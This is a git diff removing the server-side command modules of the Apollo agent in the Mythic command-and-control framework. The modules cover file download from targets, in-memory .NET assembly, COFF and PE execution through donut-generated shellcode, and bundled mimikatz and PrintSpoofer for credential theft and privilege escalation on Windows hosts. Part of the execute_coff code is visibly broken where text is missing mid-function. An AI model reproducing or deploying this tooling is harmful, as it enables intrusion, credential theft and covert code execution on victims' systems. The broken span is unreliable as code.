8d2c38df..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/download.py +++ /dev/null @@ -1,96 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json -import re - - -class DownloadArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="path", - cli_name="path", - display_name="Path to file to download.", - type=ParameterType.String, - description="File to download.", - parameter_group_info=[ - ParameterGroupInfo( - required=True, - group_name="Default", - ui_position=1 - ) - ]), - ] - - async def parse_dictionary(self, dictionary_arguments): - logger.info(dictionary_arguments) - logger.info(self.tasking_location) - self.load_args_from_dictionary(dictionary_arguments) - if "host" in dictionary_arguments: - if "full_path" in dictionary_arguments: - self.add_arg("path", f'\\\\{dictionary_arguments["host"]}\\{dictionary_arguments["full_path"]}') - elif "path" in dictionary_arguments: - self.add_arg("path", f'\\\\{dictionary_arguments["host"]}\\{dictionary_arguments["path"]}') - elif "file" in dictionary_arguments: - self.add_arg("path", f'\\\\{dictionary_arguments["host"]}\\{dictionary_arguments["file"]}') - else: - logger.info("unknown dictionary args") - else: - if "path" not in dictionary_arguments or dictionary_arguments["path"] is None: - self.add_arg("path", f'.') - - async def parse_arguments(self): - # Check if named parameters were defined - args = {"path": "."} - if len(self.raw_command_line) > 0: - args["path"] = self.raw_command_line - self.load_args_from_dictionary(args) - - -class DownloadCommand(CommandBase): - cmd = "download" - needs_admin = False - help_cmd = "download -Path [path/to/file]" - description = "Download a file off the target system." - version = 3 - supported_ui_features = ["file_browser:download"] - author = "@djhohnstein" - argument_class = DownloadArguments - attackmapping = ["T1020", "T1030", "T1041"] - browser_script = BrowserScript(script_name="download", author="@djhohnstein", for_new_ui=True) - attributes = CommandAttributes( - suggested_command=True - ) - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - path = taskData.args.get_arg("path") - response.DisplayParams = path - - if uncmatch := re.match( - r"^\\\\(?P[^\\]+)\\(?P.*)$", - path, - ): - taskData.args.add_arg("host", uncmatch.group("host")) - taskData.args.set_arg("path", uncmatch.group("path")) - else: - # Set the host argument to an empty string if it does not exist - taskData.args.add_arg("host", "") - if host := taskData.args.get_arg("host"): - host = host.upper() - - # Resolve 'localhost' and '127.0.0.1' aliases - if host == "127.0.0.1" or host.lower() == "localhost": - host = taskData.Callback.Host - - taskData.args.set_arg("host", host) - taskData.args.add_arg("file", taskData.args.get_arg("path")) - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/execute_assembly.py b/Payload_Type/apollo/apollo/mythic/agent_functions/execute_assembly.py deleted file mode 100644 index b2a49d6d..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/execute_assembly.py +++ /dev/null @@ -1,228 +0,0 @@ -from distutils.dir_util import copy_tree -import shutil -import tempfile -from mythic_container.MythicCommandBase import * -from uuid import uuid4 -from mythic_container.MythicRPC import * -from os import path -import asyncio -import donut -import platform - -if platform.system() == "Windows": - EXEECUTE_ASSEMBLY_PATH = "C:\\Mythic\\Apollo\\srv\\ExecuteAssembly.exe" -else: - EXEECUTE_ASSEMBLY_PATH = "/srv/ExecuteAssembly.exe" - - -class ExecuteAssemblyArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="assembly_name", - cli_name="Assembly", - display_name="Assembly", - type=ParameterType.ChooseOne, - dynamic_query_function=self.get_files, - description="Assembly to execute (e.g., Seatbelt.exe).", - parameter_group_info=[ - ParameterGroupInfo( - required=True, group_name="Default", ui_position=1 - ) - ], - ), - CommandParameter( - name="assembly_file", - display_name="New Assembly", - type=ParameterType.File, - description="A new assembly to execute. After uploading once, you can just supply the assembly_name parameter", - parameter_group_info=[ - ParameterGroupInfo( - required=True, group_name="New Assembly", ui_position=1, - ) - ] - ), - CommandParameter( - name="assembly_arguments", - cli_name="Arguments", - display_name="Arguments", - type=ParameterType.String, - description="Arguments to pass to the assembly.", - parameter_group_info=[ - ParameterGroupInfo( - required=False, group_name="Default", ui_position=2 - ), - ParameterGroupInfo( - required=False, group_name="New Assembly", ui_position=2 - ), - ], - ), - ] - - async def get_files( - self, inputMsg: PTRPCDynamicQueryFunctionMessage - ) -> PTRPCDynamicQueryFunctionMessageResponse: - fileResponse = PTRPCDynamicQueryFunctionMessageResponse(Success=False) - file_resp = await SendMythicRPCFileSearch( - MythicRPCFileSearchMessage( - CallbackID=inputMsg.Callback, - LimitByCallback=False, - Filename="", - ) - ) - if file_resp.Success: - file_names = [] - for f in file_resp.Files: - if f.Filename not in file_names and f.Filename.endswith(".exe"): - file_names.append(f.Filename) - fileResponse.Success = True - fileResponse.Choices = file_names - return fileResponse - else: - fileResponse.Error = file_resp.Error - return fileResponse - - async def parse_arguments(self): - if len(self.command_line) == 0: - raise Exception( - "Require an assembly to execute.\n\tUsage: {}".format( - ExecuteAssemblyCommand.help_cmd - ) - ) - if self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - else: - parts = self.command_line.split(" ", maxsplit=1) - self.add_arg("assembly_name", parts[0]) - self.add_arg("assembly_arguments", "") - if len(parts) == 2: - self.add_arg("assembly_arguments", parts[1]) - - -class ExecuteAssemblyCommand(CommandBase): - cmd = "execute_assembly" - needs_admin = False - help_cmd = "execute_assembly [Assembly.exe] [args]" - description = "Executes a .NET assembly with the specified arguments. This assembly must first be known by the agent using the `register_assembly` command or by supplying an assembly with the task." - version = 3 - author = "@djhohnstein" - argument_class = ExecuteAssemblyArguments - attackmapping = ["T1547"] - attributes = CommandAttributes( - supported_os=[SupportedOS.Windows], - builtin=False, - load_only=False, - suggested_command=False, - dependencies=["register_file"], - ) - - async def build_exeasm(self): - try: - global EXEECUTE_ASSEMBLY_PATH - agent_build_path = tempfile.TemporaryDirectory() - outputPath = "{}/ExecuteAssembly/bin/Release/ExecuteAssembly.exe".format( - agent_build_path.name - ) - # shutil to copy payload files over - copy_tree(str(self.agent_code_path), agent_build_path.name) - shell_cmd = "dotnet build -c release -p:DebugType=None -p:DebugSymbols=false -p:Platform=x64 {}/ExecuteAssembly/ExecuteAssembly.csproj -o {}/ExecuteAssembly/bin/Release/".format( - agent_build_path.name, agent_build_path.name - ) - proc = await asyncio.create_subprocess_shell( - shell_cmd, - stdout=asyncio.subprocess.PIPE, - stderr=asyncio.subprocess.PIPE, - cwd=agent_build_path.name, - ) - stdout, stderr = await proc.communicate() - if not path.exists(outputPath): - raise Exception( - "Failed to build ExecuteAssembly.exe:\n{}".format( - stderr.decode() + "\n" + stdout.decode() - ) - ) - shutil.copy(outputPath, EXEECUTE_ASSEMBLY_PATH) - except Exception as ex: - raise Exception(ex) - - async def create_go_tasking( - self, taskData: PTTaskMessageAllData - ) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - global EXEECUTE_ASSEMBLY_PATH - originalGroupNameIsDefault = taskData.args.get_parameter_group_name() == "Default" - if taskData.args.get_parameter_group_name() == "New Assembly": - fileSearchResp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage( - TaskID=taskData.Task.ID, - AgentFileID=taskData.args.get_arg("assembly_file") - )) - if not fileSearchResp.Success: - raise Exception(f"Failed to find uploaded file: {fileSearchResp.Error}") - if len(fileSearchResp.Files) == 0: - raise Exception(f"Failed to find matching file, was it deleted?") - - taskData.args.add_arg("assembly_name", fileSearchResp.Files[0].Filename) - if fileSearchResp.Files[0].AgentFileId in taskData.Task.OriginalParams: - response.DisplayParams = f"-Assembly {fileSearchResp.Files[0].Filename} -Arguments {taskData.args.get_arg('assembly_arguments')}" - taskData.args.remove_arg("assembly_file") - taskData.args.add_arg("assembly_id", fileSearchResp.Files[0].AgentFileId) - - taskargs = taskData.args.get_arg("assembly_arguments") - if originalGroupNameIsDefault: - file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage( - Filename=taskData.args.get_arg("assembly_name"), - TaskID=taskData.Task.ID, - MaxResults=1 - )) - if not file_resp.Success: - raise Exception(f"failed to find assembly: {file_resp.Error}") - if len(file_resp.Files) == 0: - raise Exception(f"no assembly by that name that's not deleted") - else: - taskData.args.add_arg("assembly_id", file_resp.Files[0].AgentFileId) - if taskargs == "" or taskargs is None: - response.DisplayParams = "-Assembly {}".format( - taskData.args.get_arg("assembly_name") - ) - else: - response.DisplayParams = "-Assembly {} -Arguments {}".format( - taskData.args.get_arg("assembly_name"), taskargs - ) - taskData.args.add_arg("pipe_name", str(uuid4())) - if not path.exists(EXEECUTE_ASSEMBLY_PATH): - # create - await SendMythicRPCTaskUpdate(MythicRPCTaskUpdateMessage( - TaskID=taskData.Task.ID, - UpdateStatus=f"building injection stub" - )) - await self.build_exeasm() - await SendMythicRPCTaskUpdate(MythicRPCTaskUpdateMessage( - TaskID=taskData.Task.ID, - UpdateStatus=f"generating stub shellcode" - )) - donutPic = donut.create( - file=EXEECUTE_ASSEMBLY_PATH, params=taskData.args.get_arg("pipe_name") - ) - file_resp = await SendMythicRPCFileCreate( - MythicRPCFileCreateMessage( - TaskID=taskData.Task.ID, FileContents=donutPic, DeleteAfterFetch=True - ) - ) - if file_resp.Success: - taskData.args.add_arg("loader_stub_id", file_resp.AgentFileId) - else: - raise Exception( - "Failed to register execute_assembly binary: " + file_resp.Error - ) - return response - - async def process_response( - self, task: PTTaskMessageAllData, response: any - ) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/execute_coff.py b/Payload_Type/apollo/apollo/mythic/agent_functions/execute_coff.py deleted file mode 100644 index cf91d1eb..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/execute_coff.py +++ /dev/null @@ -1,309 +0,0 @@ -import binascii -import struct -from mythic_container.MythicCommandBase import * -from mythic_container.MythicRPC import * -import platform -from os import path -import shutil - -if platform.system() == 'Windows': - RUNOF_HOST_PATH = "C:\\Mythic\\Apollo\\srv\\COFFLoader.dll" -else: - RUNOF_HOST_PATH = "/srv/COFFLoader.dll" -RUNOF_FILE_ID = "" - - -class ExecuteCoffArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="coff_name", - cli_name="Coff", - display_name="Coff", - type=ParameterType.ChooseOne, - dynamic_query_function=self.get_files, - description="COFF to execute (e.g. whoami.x64.o)", - parameter_group_info=[ - ParameterGroupInfo( - required=True, - group_name="Default", - ui_position=1 - ) - ]), - CommandParameter( - name="bof_file", - display_name="New Bof", - type=ParameterType.File, - description="A new bof to execute. After uploading once, you can just supply the coff_name parameter", - parameter_group_info=[ - ParameterGroupInfo( - required=True, group_name="New", ui_position=1, - ) - ] - ), - CommandParameter( - name="function_name", - cli_name="Function", - display_name="Function", - type=ParameterType.String, - default_value="go", - description="Entry function name.", - parameter_group_info=[ - ParameterGroupInfo( - required=False, - group_name="Default", - ui_position=2 - ), - ParameterGroupInfo( - required=False, - group_name="New", - ui_position=2 - ), - ]), - CommandParameter( - name="timeout", - cli_name="Timeout", - display_name="Timeout", - type=ParameterType.Number, - default_value=30, - description="Set thread timeout (in seconds).", - parameter_group_info=[ - ParameterGroupInfo( - required=False, - group_name="Default", - ui_position=3 - ), - ParameterGroupInfo( - required=False, - group_name="New", - ui_position=3 - ), - ]), - CommandParameter( - name="coff_arguments", - cli_name="Arguments", - display_name="Arguments", - type=ParameterType.TypedArray, - default_value=[], - choices=["int16", "int32", "string", "wchar", "base64"], - description="""Arguments to pass to the COFF via the following way: - -s:123 or int16:123 - -i:123 or int32:123 - -z:hello or string:hello - -Z:hello or wchar:hello - -b:abc== or base64:abc==""", - typedarray_parse_function=self.get_arguments, - parameter_group_info=[ - ParameterGroupInfo( - required=False, - group_name="Default", - ui_position=4 - ), - ParameterGroupInfo( - required=False, - group_name="New", - ui_position=4 - ), - ]), - ] - - async def get_arguments(self, arguments: PTRPCTypedArrayParseFunctionMessage) -> PTRPCTypedArrayParseFunctionMessageResponse: - argumentSplitArray = [] - for argValue in arguments.InputArray: - argSplitResult = argValue.split(" ") - for spaceSplitArg in argSplitResult: - argumentSplitArray.append(spaceSplitArg) - coff_arguments = [] - for argument in argumentSplitArray: - argType,value = argument.split(":",1) - value = value.strip("\'").strip("\"") - if argType == "": - pass - elif argType == "int16" or argType == "-s" or argType == "s": - coff_arguments.append(["int16",int(value)]) - elif argType == "int32" or argType == "-i" or argType == "i": - coff_arguments.append(["int32",int(value)]) - elif argType == "string" or argType == "-z" or argType == "z": - coff_arguments.append(["string",value]) - elif argType == "wchar" or argType == "-Z" or argType == "Z": - coff_arguments.append(["wchar",value]) - elif argType == "base64" or argType == "-b" or argType == "b": - coff_arguments.append(["base64",value]) - else: - return PTRPCTypedArrayParseFunctionMessageResponse(Success=False, - Error=f"Failed to parse argument: {argument}: Unknown value type.") - - argumentResponse = PTRPCTypedArrayParseFunctionMessageResponse(Success=True, TypedArray=coff_arguments) - return argumentResponse - - async def get_files(self, inputMsg: PTRPCDynamicQueryFunctionMessage) -> PTRPCDynamicQueryFunctionMessageResponse: - fileResponse = PTRPCDynamicQueryFunctionMessageResponse(Success=False) - file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage( - CallbackID=inputMsg.Callback, - LimitByCallback=False, - Filename="", - )) - if file_resp.Success: - file_names = [] - for f in file_resp.Files: - if f.Filename not in file_names and f.Filename.endswith(".o"): - file_names.append(f.Filename) - fileResponse.Success = True - fileResponse.Choices = file_names - return fileResponse - else: - fileResponse.Error = file_resp.Error - return fileResponse - - async def parse_arguments(self): - if self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - else: - raise Exception("Require a BOFF, Function Name and Timeout to execute.\n\tUsage: {}".format(ExecuteCoffCommand.help_cmd)) - - -class ExecuteCoffCommand(CommandBase): - cmd = "execute_coff" - needs_admin = False - help_cmd = "execute_coff -Coff [COFF.o] -Function [go] -Timeout [30] [-Arguments [optional arguments]]" - description = "Execute a COFF file in memory. This COFF must first be known by the agent using the `register_coff` command." - version = 3 - author = "@__Retrospect, @its_a_feature_" - argument_class = ExecuteCoffArguments - attackmapping = ["T1559"] - attributes = CommandAttributes( - spawn_and_injectable=False, - supported_os=[SupportedOS.Windows], - builtin=False, - load_only=False, - suggested_command=False, - dependencies=["register_file"], - ) - - async def registered_runof(self, taskData: PTTaskMessageAllData) -> str: - global RUNOF_HOST_PATH - if not path.exists(RUNOF_HOST_PATH): - shutil.copy(f"apollo/agent_code/COFFLoader.dll", RUNOF_HOST_PATH) - fileSearch = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage( - TaskID=taskData.Task.ID, - Filename="COFFLoader.dll", - LimitByCallback=False, - MaxResults=1 - )) - if not fileSearch.Success: - raise Exception(fileSearch.Error) - if len(fileSearch.Files) == 0: - fileRegister = await SendMythicRPCFileCreate(MythicRPCFileCreateMessage( - TaskID=taskData.Task.ID, - FileContents=open(RUNOF_HOST_PATH, 'rb').read(), - DeleteAfterFetch=False, - Filename="COFFLoader.dll", - IsScreenshot=False, - IsDownloadFromAgent=False, - Comment=f"Shared COFFLoader.dll for all execute_coff tasks within apollo" - )) - if fileRegister.Success: - return fileRegister.AgentFileId - raise Exception(fileRegister.Error) - return fileSearch.Files[0].AgentFileId - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( TaskID=taskData.Task.ID, Success=True) - originalGroupNameIsDefault = taskData.args.get_parameter_group_name() == "Default" - if taskData.args.get_parameter_group_name() == "New": - fileSearchResp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage( - TaskID=taskData.Task.ID, - AgentFileID=taskData.args.get_arg("bof_file") - )) - if not fileSearchResp.Success: - raise Exception(f"Failed to find uploaded file: {fileSearchResp.Error}") - if len(fileSearchResp.Files) == 0: - raise Exception(f"Failed to find matching file, was it deleted?") - - taskData.args.add_arg("coff_name", fileSearchResp.Files[0].Filename) - taskData.args.add_arg("bof_id", taskData.args.get_arg("bof_file")) - taskData.args.remove_arg("bof_file") - else: - file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(TaskID=taskData.Task.ID, Filename=taskData.args.get_arg("coff_name"))) - if file_resp.Success and len(file_resp.Files) > 0: - taskData.args.add_arg("bof_id", file_resp.Files[0].AgentFileId) - else: - raise Exception("Failed to fetch uploaded file from Mythic (ID: {})".format(taskData.args.get_arg("coff_name"))) - timeout = taskData.args.get_arg("timeout") - if timeout is None: - taskData.args.set_arg("timeout", 30) - registered_runof_id = await self.registered_runof(taskData) - taskData.args.add_arg("coff_id", registered_runof_id) - taskargs = taskData.args.get_arg("coff_arguments") - argsString = "" - normalizedArgs = [] - packedArgsBuffer = b'' - packedArgsSize = 0 - for argEntry in taskargs: - if argEntry[0] in ['s', 'int16']: - argsString += f"-Arguments {argEntry[0]}:{argEntry[1]} " - normalizedArgs.append(['s', argEntry[1]]) - packedArgsBuffer += struct.pack(" PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/execute_pe.py b/Payload_Type/apollo/apollo/mythic/agent_functions/execute_pe.py deleted file mode 100644 index b4c024cc..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/execute_pe.py +++ /dev/null @@ -1,328 +0,0 @@ -from distutils.dir_util import copy_tree -import shutil -import tempfile -from mythic_container.MythicCommandBase import * -from uuid import uuid4 -from mythic_container.MythicRPC import * -from os import path -import os -import asyncio -import platform - -PRINTSPOOFER_FILE_ID = "" -MIMIKATZ_FILE_ID = "" - -if platform.system() == "Windows": - EXECUTE_PE_PATH = "C:\\Mythic\\Apollo\\srv\\ExecutePE.exe" -else: - EXECUTE_PE_PATH = "/srv/ExecutePE.exe" - -PE_VARNAME = "pe_id" - - -class ExecutePEArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="pe_name", - cli_name="PE", - display_name="Executable to Run", - type=ParameterType.ChooseOne, - dynamic_query_function=self.get_files, - description="PE to execute (e.g., mimikatz.exe).", - parameter_group_info=[ - ParameterGroupInfo( - required=True, - group_name="Default", - ui_position=1, - ), - ], - ), - CommandParameter( - name="pe_file", - display_name="New PE", - type=ParameterType.File, - description="A new PE to execute. After uploading once, you can just supply the pe_name parameter", - parameter_group_info=[ - ParameterGroupInfo( - required=True, group_name="New PE", ui_position=1, - ) - ] - ), - CommandParameter( - name="pe_arguments", - cli_name="Arguments", - display_name="Arguments", - type=ParameterType.String, - description="Arguments to pass to the PE.", - parameter_group_info=[ - ParameterGroupInfo( - required=False, group_name="Default", ui_position=2 - ), - ParameterGroupInfo( - required=False, group_name="New PE", ui_position=2 - ), - ], - ), - ] - - async def get_files( - self, inputMsg: PTRPCDynamicQueryFunctionMessage - ) -> PTRPCDynamicQueryFunctionMessageResponse: - fileResponse = PTRPCDynamicQueryFunctionMessageResponse(Success=False) - file_resp = await SendMythicRPCFileSearch( - MythicRPCFileSearchMessage( - CallbackID=inputMsg.Callback, - LimitByCallback=False, - Filename="", - ) - ) - if file_resp.Success: - file_names = [] - for f in file_resp.Files: - if f.Filename not in file_names and f.Filename.endswith(".exe"): - file_names.append(f.Filename) - fileResponse.Success = True - fileResponse.Choices = file_names - return fileResponse - else: - fileResponse.Error = file_resp.Error - return fileResponse - - async def parse_arguments(self): - if len(self.command_line) == 0: - raise Exception( - "Require a PE to execute.\n\tUsage: {}".format( - ExecutePECommand.help_cmd - ) - ) - if self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - else: - parts = self.raw_command_line.split(" ", maxsplit=1) - self.add_arg("pe_name", parts[0]) - self.add_arg("pe_arguments", "") - if len(parts) == 2: - self.add_arg("pe_arguments", parts[1]) - - -class ExecutePECommand(CommandBase): - cmd = "execute_pe" - needs_admin = False - help_cmd = "execute_pe [PE.exe] [args]" - description = "Executes an unmanaged executable with the specified arguments. This executable must first be known by the agent using the `register_file` command." - version = 3 - author = "@djhohnstein" - argument_class = ExecutePEArguments - attackmapping = ["T1547"] - - async def build_exepe(self): - try: - global EXECUTE_PE_PATH - agent_build_path = tempfile.TemporaryDirectory() - outputPath = "{}/ExecutePE/bin/Release/ExecutePE.exe".format( - agent_build_path.name - ) - copy_tree(str(self.agent_code_path), agent_build_path.name) - shell_cmd = "dotnet build -c release -p:DebugType=None -p:DebugSymbols=false -p:Platform=x64 {}/ExecutePE/ExecutePE.csproj -o {}/ExecutePE/bin/Release".format( - agent_build_path.name, agent_build_path.name - ) - proc = await asyncio.create_subprocess_shell( - shell_cmd, - stdout=asyncio.subprocess.PIPE, - stderr=asyncio.subprocess.PIPE, - cwd=agent_build_path.name, - ) - stdout, stderr = await proc.communicate() - if not path.exists(outputPath): - raise Exception( - "Failed to build ExecutePE.exe:\n{}".format( - stderr.decode() + "\n" + stdout.decode() - ) - ) - shutil.copy(outputPath, EXECUTE_PE_PATH) - except Exception as ex: - raise Exception(ex) - - async def create_go_tasking( - self, taskData: PTTaskMessageAllData - ) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - global MIMIKATZ_FILE_ID - global PRINTSPOOFER_FILE_ID - global PE_VARNAME - global EXECUTE_PE_PATH - - taskData.args.add_arg("pipe_name", str(uuid4())) - mimikatz_path = os.path.abspath(self.agent_code_path / "mimikatz_x64.exe") - printspoofer_path = os.path.abspath( - self.agent_code_path / "PrintSpoofer_x64.exe" - ) - if platform.system() == "Windows": - shellcode_path = "C:\\Mythic\\Apollo\\temp\\loader.bin" - else: - shellcode_path = "/tmp/loader.bin" - - if platform.system() == "Windows": - donutPath = os.path.abspath(self.agent_code_path / "donut.exe") - else: - donutPath = os.path.abspath(self.agent_code_path / "donut") - - command = "chmod 777 {}; chmod +x {}".format(donutPath, donutPath) - proc = await asyncio.create_subprocess_shell( - command, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE - ) - stdout, stderr = await proc.communicate() - - if not path.exists(EXECUTE_PE_PATH): - await SendMythicRPCTaskUpdate(MythicRPCTaskUpdateMessage( - TaskID=taskData.Task.ID, - UpdateStatus=f"building injection stub" - )) - await self.build_exepe() - await SendMythicRPCTaskUpdate(MythicRPCTaskUpdateMessage( - TaskID=taskData.Task.ID, - UpdateStatus=f"generating stub shellcode" - )) - if platform.system() == "Windows": - command = '{} -i {} -p "{}"'.format( - donutPath, EXECUTE_PE_PATH, taskData.args.get_arg("pipe_name") - ) - else: - command = '{} -i {} -p "{}"'.format( - donutPath, EXECUTE_PE_PATH, taskData.args.get_arg("pipe_name") - ) - # print(command) - # need to go through one more step to turn our exe into shellcode - if platform.system() == "Windows": - Currentwd = "C:\\Mythic\\Apollo\\temp\\" - else: - Currentwd = "/tmp" - proc = await asyncio.create_subprocess_shell( - command, - stdout=asyncio.subprocess.PIPE, - stderr=asyncio.subprocess.PIPE, - cwd=Currentwd, - ) - stdout, stderr = await proc.communicate() - - stdout_err = f"[stdout]\n{stdout.decode()}\n" - stdout_err = f"[stderr]\n{stderr.decode()}" - - if not path.exists(shellcode_path): - raise Exception("Failed to create shellcode:\n{}".format(stdout_err)) - else: - with open(shellcode_path, "rb") as f: - shellcode = f.read() - file_resp = await SendMythicRPCFileCreate( - MythicRPCFileCreateMessage( - TaskID=taskData.Task.ID, - Filename="execute_pe shellcode", - DeleteAfterFetch=True, - FileContents=shellcode, - ) - ) - if file_resp.Success: - taskData.args.add_arg("loader_stub_id", file_resp.AgentFileId) - else: - raise Exception( - "Failed to register ExecutePE shellcode: " + file_resp.Error - ) - - if taskData.args.get_parameter_group_name() == "New PE": - fileSearchResp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage( - TaskID=taskData.Task.ID, - AgentFileID=taskData.args.get_arg("pe_file") - )) - if not fileSearchResp.Success: - raise Exception(f"Failed to find uploaded file: {fileSearchResp.Error}") - if len(fileSearchResp.Files) == 0: - raise Exception(f"Failed to find matching file, was it deleted?") - - taskData.args.add_arg("pe_name", fileSearchResp.Files[0].Filename) - taskData.args.remove_arg("pe_file") - taskData.args.add_arg(PE_VARNAME, fileSearchResp.Files[0].AgentFileId) - else: - if taskData.args.get_arg("pe_name") == "mimikatz.exe": - if MIMIKATZ_FILE_ID != "": - taskData.args.add_arg(PE_VARNAME, MIMIKATZ_FILE_ID) - else: - with open(mimikatz_path, "rb") as f: - mimibytes = f.read() - file_resp = await SendMythicRPCFileCreate( - MythicRPCFileCreateMessage( - TaskID=taskData.Task.ID, - Filename="execute_pe mimikatz", - DeleteAfterFetch=False, - FileContents=mimibytes, - ) - ) - if file_resp.Success: - taskData.args.add_arg(PE_VARNAME, file_resp.AgentFileId) - MIMIKATZ_FILE_ID = file_resp.AgentFileId - else: - raise Exception("Failed to register Mimikatz: " + file_resp.Error) - elif taskData.args.get_arg("pe_name") == "printspoofer.exe": - if PRINTSPOOFER_FILE_ID != "": - taskData.args.add_arg(PE_VARNAME, PRINTSPOOFER_FILE_ID) - else: - with open(printspoofer_path, "rb") as f: - psbytes = f.read() - file_resp = await SendMythicRPCFileCreate( - MythicRPCFileCreateMessage( - TaskID=taskData.Task.ID, - Filename="execute_pe printspoofer", - DeleteAfterFetch=False, - FileContents=psbytes, - ) - ) - if file_resp.Success: - taskData.args.add_arg(PE_VARNAME, file_resp.AgentFileId) - PRINTSPOOFER_FILE_ID = file_resp.AgentFileId - else: - raise Exception( - "Failed to register PrintSpoofer: " + file_resp.Error - ) - else: - file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage( - Filename=taskData.args.get_arg("pe_name"), - TaskID=taskData.Task.ID, - MaxResults=1 - )) - if not file_resp.Success: - raise Exception(f"failed to find PE File: {file_resp.Error}") - if len(file_resp.Files) == 0: - raise Exception(f"no PE file by that name that's not deleted") - else: - taskData.args.add_arg(PE_VARNAME, file_resp.Files[0].AgentFileId) - - imageName = taskData.args.get_arg("pe_name") - arguments = taskData.args.get_arg("pe_arguments") - - # Form the command line being passed to the PE. Pass the arguments as is - commandline = f'"{imageName}" {arguments}' - - taskData.args.add_arg( - "commandline", - commandline, - ParameterType.String, - parameter_group_info=[ParameterGroupInfo(required=True)], - ) - - taskData.args.remove_arg("arguments") - - response.DisplayParams = "-PE {} -Arguments {}".format( - taskData.args.get_arg("pe_name"), arguments - ) - return response - - async def process_response( - self, task: PTTaskMessageAllData, response: any - ) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/exit.py b/Payload_Type/apollo/apollo/mythic/agent_functions/exit.py deleted file mode 100644 index f34db2cc..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/exit.py +++ /dev/null @@ -1,40 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json - - -class ExitArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [] - - async def parse_arguments(self): - if len(self.command_line) > 0: - raise Exception("Exit command takes no parameters.") - - -class ExitCommand(CommandBase): - cmd = "exit" - needs_admin = False - help_cmd = "exit" - description = "Task the implant to exit." - version = 2 - supported_ui_features = ["callback_table:exit"] - author = "@djhohnstein" - argument_class = ExitArguments - attributes = CommandAttributes( - builtin=True, - suggested_command=True - ) - attackmapping = [] - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/get_injection_techniques.py b/Payload_Type/apollo/apollo/mythic/agent_functions/get_injection_techniques.py deleted file mode 100644 index 01e86404..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/get_injection_techniques.py +++ /dev/null @@ -1,34 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json - - -class GetInjectionTechniquesArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [] - - async def parse_arguments(self): - pass - -class GetInjectionTechniquesCommand(CommandBase): - cmd = "get_injection_techniques" - needs_admin = False - help_cmd = "get_injection_techniques" - description = "List the currently available injection techniques the agent knows about." - version = 2 - author = "@djhohnstein" - argument_class = GetInjectionTechniquesArguments - attackmapping = [] - browser_script = BrowserScript(script_name="get_injection_techniques", author="@djhohnstein", for_new_ui=True) - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/getprivs.py b/Payload_Type/apollo/apollo/mythic/agent_functions/getprivs.py deleted file mode 